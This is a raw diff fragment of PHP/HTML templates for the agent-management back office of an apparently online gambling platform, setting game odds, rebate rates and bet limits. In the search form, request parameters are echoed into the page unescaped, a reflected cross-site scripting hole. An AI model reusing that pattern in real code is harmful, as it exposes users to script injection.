{foreach name="$pay_channel_list" item="vo"}
|
||||
<span>
|
||||
<input name="pay_channel" class="required pay_channel" type="radio" value="{$vo.key}" maxlength="20" style="color:#999;width:35px;" <?php if($agent['pay_channel'] == $vo['key']) echo 'checked'; ?>>
|
||||
<span style="position:relative;top:-7px;">{$vo.name}</span>
|
||||
</span>
|
||||
{/foreach}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">洗码方式:</label>
|
||||
<div class="controls">
|
||||
<input name="type_xima" class="required type_xima" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" <?php if($agent['type_xima'] == 1) echo 'checked'; ?>>
|
||||
<span style="position:relative;top:-7px;">双边洗码</span>
|
||||
<input name="type_xima" class="required type_xima" type="radio" value="2" maxlength="20" style="color:#999;width:35px;" <?php if($agent['type_xima'] == 2) echo 'checked'; ?>>
|
||||
<span style="position:relative;top:-7px;">单边洗码</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">码量分担方式:</label>
|
||||
<div class="controls">
|
||||
<select id="share_xima" name="share_xima">
|
||||
<option value="1" <?php if($agent['share_xima'] == 1) echo 'selected="selected"' ?>>不分担</option>
|
||||
<option value="2" <?php if($agent['share_xima'] == 2) echo 'selected="selected"' ?>>按代理占成比例分担</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">返水率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="rebate_rate" name="rebate_rate" type="text" value="{$agent.rebate_rate}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 返水率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">百家乐码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv" name="L_ximalv" type="text" value="{$agent.agent_ximalv}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">龙虎码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="{$agent.agent_ximalv_dt}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">牛牛码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_nn" name="L_ximalv_nn" type="text" value="{$agent.agent_ximalv_nn}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">三卡牛牛码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_tc" name="L_ximalv_tc" type="text" value="{$agent.agent_ximalv_tc}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">占股(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_cs" name="L_cs" type="text" value="{$agent.agent_cs}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 占股不能超过100%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low" name="limit_low" type="text" maxlength="10" class="required" value="{$agent.limit_low}"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high" name="limit_high" type="text" maxlength="10" class="required" value="{$agent.limit_high}"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low_tie" name="limit_low_tie" type="text" maxlength="10" class="required" value="{$agent.limit_low_tie}"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high_tie" name="limit_high_tie" type="text" maxlength="10" class="required" value="{$agent.limit_high_tie}"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低对子限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low_pair" name="limit_low_pair" type="text" maxlength="10" class="required" value="{$agent.limit_low_pair}"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高对子限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high_pair" name="limit_high_pair" type="text" maxlength="10" class="required" value="{$agent.limit_high_pair}"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
|
||||
<option value="0">请选择投注方式</option>
|
||||
<option value="1" <?php if($agent['bet_type'] == 1) {echo 'selected';} ?>>网络投注</option>
|
||||
<option value="2" <?php if($agent['bet_type'] == 2) {echo 'selected';} ?>>电话投注</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押庄赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_banker" name="price_banker" type="text" value="{$agent.price_banker}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押闲赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_player" name="price_player" type="text" value="{$agent.price_player}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="{$agent.price_tie_baccarat}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押对子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_pair" name="price_pair" type="text" value="{$agent.price_pair}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">两张牌幸运6赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_luck_six_2" name="price_luck_six_2" type="text" value="{$agent.price_luck_six_2}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">三张牌幸运6赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_luck_six_3" name="price_luck_six_3" type="text" value="{$agent.price_luck_six_3}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押大赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_big" name="price_big" type="text" value="{$agent.price_big}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押小赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_small" name="price_small" type="text" value="{$agent.price_small}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押龙赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_dragon" name="price_dragon" type="text" value="{$agent.price_dragon}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押虎赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tiger" name="price_tiger" type="text" value="{$agent.price_tiger}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_dt" name="price_tie_dt" type="text" value="{$agent.price_tie_dt}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押无牛-牛6赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n0_n6" name="price_n0_n6" type="text" value="{$agent.price_n0_n6}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛7-牛9赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n7_n9" name="price_n7_n9" type="text" value="{$agent.price_n7_n9}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_nn" name="price_nn" type="text" value="{$agent.price_nn}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押五公赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_5n" name="price_5n" type="text" value="{$agent.price_5n}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛一赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n1" name="price_tc_n1" type="text" value="{$agent.price_tc_n1}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛二赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n2" name="price_tc_n2" type="text" value="{$agent.price_tc_n2}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛三赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n3" name="price_tc_n3" type="text" value="{$agent.price_tc_n3}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛四赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n4" name="price_tc_n4" type="text" value="{$agent.price_tc_n4}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛五赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n5" name="price_tc_n5" type="text" value="{$agent.price_tc_n5}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛六赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n6" name="price_tc_n6" type="text" value="{$agent.price_tc_n6}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛七赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n7" name="price_tc_n7" type="text" value="{$agent.price_tc_n7}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛八赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n8" name="price_tc_n8" type="text" value="{$agent.price_tc_n8}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛九赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n9" name="price_tc_n9" type="text" value="{$agent.price_tc_n9}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_nn" name="price_tc_nn" type="text" value="{$agent.price_tc_nn}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押豹子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_bz" name="price_tc_bz" type="text" value="{$agent.price_tc_bz}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押同花顺赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_ths" name="price_tc_ths" type="text" value="{$agent.price_tc_ths}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押皇家同花顺赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_hjths" name="price_tc_hjths" type="text" value="{$agent.price_tc_hjths}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="control-group">
|
||||
<label class="control-label">三卡牛牛系统抽水:</label>
|
||||
<div class="controls">
|
||||
<input id="agent_commission_tc" name="agent_commission_tc" type="text" value="{$agent.agent_commission_tc}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">三卡牛牛庄家抽佣:</label>
|
||||
<div class="controls">
|
||||
<input id="agent_commission_tc_banker" name="agent_commission_tc_banker" type="text" value="{$agent.agent_commission_tc_banker}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div> -->
|
||||
<div class="control-group">
|
||||
<label class="control-label">日赢上限:</label>
|
||||
<div class="controls">
|
||||
<input id="win_limit" name="win_limit" type="text" value="{$agent.win_limit}" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
|
||||
<font color="red"> * 默认0则为没有限制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="agent-id" value="{$agent.id}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/agent/index';
|
||||
if(id == "2") location.href = '/agent/agent_edit';
|
||||
});
|
||||
|
||||
// 切换总代性质
|
||||
$('.agent_type').change(function(){
|
||||
var agentType = $('.agent_type:checked').val();
|
||||
if(agentType == 1){
|
||||
$('.rebate-box').show();
|
||||
}else{
|
||||
$('.rebate-box').hide();
|
||||
}
|
||||
});
|
||||
$('.agent_type').change();
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var limit_checkout = new Array();
|
||||
var query = new Object();
|
||||
query.agent_id = $('#agent-id').val();
|
||||
query.username = $('#L_username').val();
|
||||
query.nickname = $('#L_nickname').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.agent_type = $('.agent_type:checked').val();
|
||||
query.pay_channel = $('.pay_channel:checked').val();
|
||||
query.type_xima = $('.type_xima:checked').val();
|
||||
query.share_xima = $('#share_xima').val();
|
||||
query.ximalv = $('#L_ximalv').val();
|
||||
query.ximalv_dt = $('#L_ximalv_dt').val();
|
||||
query.ximalv_nn = $('#L_ximalv_nn').val();
|
||||
query.ximalv_tc = $('#L_ximalv_tc').val();
|
||||
query.cs = $('#L_cs').val();
|
||||
query.bet_type = $('#L_bet_type').val();
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.limit_low_tie = $('#limit_low_tie').val();
|
||||
query.limit_high_tie = $('#limit_high_tie').val();
|
||||
query.limit_low_pair = $('#limit_low_pair').val();
|
||||
query.limit_high_pair = $('#limit_high_pair').val();
|
||||
query.price_banker = $('#price_banker').val();
|
||||
query.price_player = $('#price_player').val();
|
||||
query.price_tie_baccarat = $('#price_tie_baccarat').val();
|
||||
query.price_pair = $('#price_pair').val();
|
||||
query.price_luck_six_2 = $('#price_luck_six_2').val();
|
||||
query.price_luck_six_3 = $('#price_luck_six_3').val();
|
||||
query.price_big = $('#price_big').val();
|
||||
query.price_small = $('#price_small').val();
|
||||
query.price_dragon = $('#price_dragon').val();
|
||||
query.price_tiger = $('#price_tiger').val();
|
||||
query.price_tie_dt = $('#price_tie_dt').val();
|
||||
query.price_n0_n6 = $('#price_n0_n6').val();
|
||||
query.price_n7_n9 = $('#price_n7_n9').val();
|
||||
query.price_nn = $('#price_nn').val();
|
||||
query.price_5n = $('#price_5n').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
query.price_tc_n1 = $('#price_tc_n1').val();
|
||||
query.price_tc_n2 = $('#price_tc_n2').val();
|
||||
query.price_tc_n3 = $('#price_tc_n3').val();
|
||||
query.price_tc_n4 = $('#price_tc_n4').val();
|
||||
query.price_tc_n5 = $('#price_tc_n5').val();
|
||||
query.price_tc_n6 = $('#price_tc_n6').val();
|
||||
query.price_tc_n7 = $('#price_tc_n7').val();
|
||||
query.price_tc_n8 = $('#price_tc_n8').val();
|
||||
query.price_tc_n9 = $('#price_tc_n9').val();
|
||||
query.price_tc_nn = $('#price_tc_nn').val();
|
||||
query.price_tc_bz = $('#price_tc_bz').val();
|
||||
query.price_tc_ths = $('#price_tc_ths').val();
|
||||
query.price_tc_hjths = $('#price_tc_hjths').val();
|
||||
// query.agent_commission_tc = $('#agent_commission_tc').val();
|
||||
// query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.pass.length > 0){
|
||||
if(query.pass.length >= 6){
|
||||
if(query.pass != query.repass){
|
||||
layer.msg("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
}else{
|
||||
layer.msg("密码不能少于6位字符!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(query.ximalv.length == 0){
|
||||
layer.msg("请填写百家乐码率");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_dt.length == 0){
|
||||
layer.msg("请填写龙虎码率");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_nn.length == 0){
|
||||
layer.msg("请填写牛牛码率");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_tc.length == 0){
|
||||
layer.msg("请填写三卡牛牛码率");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.cs) > 100){
|
||||
layer.msg("占股不能超过100%");
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_low <= 0){
|
||||
layer.alert("最低限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_high <= 0){
|
||||
layer.alert("最高限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.limit_low) > parseFloat(query.limit_high)){
|
||||
layer.alert("最高限红必须大于最低限红");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_low_tie <= 0){
|
||||
layer.alert("最低限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_high_tie <= 0){
|
||||
layer.alert("最高限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.limit_low_tie) > parseFloat(query.limit_high_tie)){
|
||||
layer.alert("最高和限红必须大于最低和限红");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_low_pair <= 0){
|
||||
layer.alert("最低限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_high_pair <= 0){
|
||||
layer.alert("最高限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.limit_low_pair) > parseFloat(query.limit_high_pair)){
|
||||
layer.alert("最高对子限红必须大于最低对子限红");
|
||||
return false;
|
||||
}
|
||||
if(query.price_banker <= 0){
|
||||
layer.alert("押庄赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_player <= 0){
|
||||
layer.alert("押闲赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_baccarat <= 0){
|
||||
layer.alert("押和(百家乐)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_pair <= 0){
|
||||
layer.alert("押对子赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_luck_six_2 <= 0){
|
||||
layer.alert("两张牌幸运6赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_luck_six_3 <= 0){
|
||||
layer.alert("三张牌幸运6赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_big <= 0){
|
||||
layer.alert("押大赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_small <= 0){
|
||||
layer.alert("押小赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_dragon <= 0){
|
||||
layer.alert("押龙赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tiger <= 0){
|
||||
layer.alert("押虎赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_dt <= 0){
|
||||
layer.alert("押和(龙虎斗)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n0_n6 <= 0){
|
||||
layer.alert("押无牛-牛6赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n7_n9 <= 0){
|
||||
layer.alert("押牛7-牛9赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_nn <= 0){
|
||||
layer.alert("押牛牛赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_5n <= 0){
|
||||
layer.alert("押五公赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.win_limit.length <= 0){
|
||||
layer.alert("日赢上限不能为空");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n1 <= 0){
|
||||
layer.alert("押牛一(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n2 <= 0){
|
||||
layer.alert("押牛二(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n3 <= 0){
|
||||
layer.alert("押牛三(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n4 <= 0){
|
||||
layer.alert("押牛四(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n5 <= 0){
|
||||
layer.alert("押牛五(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n6 <= 0){
|
||||
layer.alert("押牛六(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n7 <= 0){
|
||||
layer.alert("押牛七(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n8 <= 0){
|
||||
layer.alert("押牛八(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n9 <= 0){
|
||||
layer.alert("押牛九(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_nn <= 0){
|
||||
layer.alert("押牛牛(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_bz <= 0){
|
||||
layer.alert("押豹子(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_ths <= 0){
|
||||
layer.alert("押同花顺(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_hjths <= 0){
|
||||
layer.alert("押皇家同花顺(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
// if(query.agent_commission_tc.length <= 0){
|
||||
// layer.alert("三卡牛牛系统抽水不能为空");
|
||||
// return false;
|
||||
// }
|
||||
// if(query.agent_commission_tc_banker.length <= 0){
|
||||
// layer.alert("三卡牛牛庄家不能为空");
|
||||
// return false;
|
||||
// }
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/agent/do_agent_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = '/agent/index';
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,180 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-nav">
|
||||
<span class="layui-breadcrumb">
|
||||
<a href="javascript:;">首页</a>
|
||||
<a href="javascript:;">代理管理</a>
|
||||
<a><cite>已删除代理</cite></a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so" action="/agent/agent_delete" method="get">
|
||||
<input class="layui-input" placeholder="开始日" name="start" id="start" value="<?php if(isset($get['start'])) {echo $get['start'];} ?>">
|
||||
<input class="layui-input" placeholder="截止日" name="end" id="end" value="<?php if(isset($get['end'])) {echo $get['end'];} ?>">
|
||||
<input type="text" name="nickname" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['nickname'])) {echo $get['nickname'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
</form>
|
||||
</div>
|
||||
<xblock>
|
||||
<button class="layui-btn layui-btn-danger" onclick="recoverAll()"><i class="layui-icon"></i>批量恢复</button>
|
||||
<!--<button class="layui-btn" onclick="x_admin_show('添加会员','/member/member_add',800,600)"><i-->
|
||||
<!--class="layui-icon"></i>添加-->
|
||||
<!--</button>-->
|
||||
<!--<span class="x-right" style="line-height:40px">共有数据:{$user_del_sum} 条</span>-->
|
||||
</xblock>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>
|
||||
<div class="layui-unselect header layui-form-checkbox" lay-skin="primary"><i class="layui-icon">
|
||||
</i></div>
|
||||
</th>
|
||||
<th>ID</th>
|
||||
<th>账号</th>
|
||||
<th>用户名</th>
|
||||
<th>上级代理</th>
|
||||
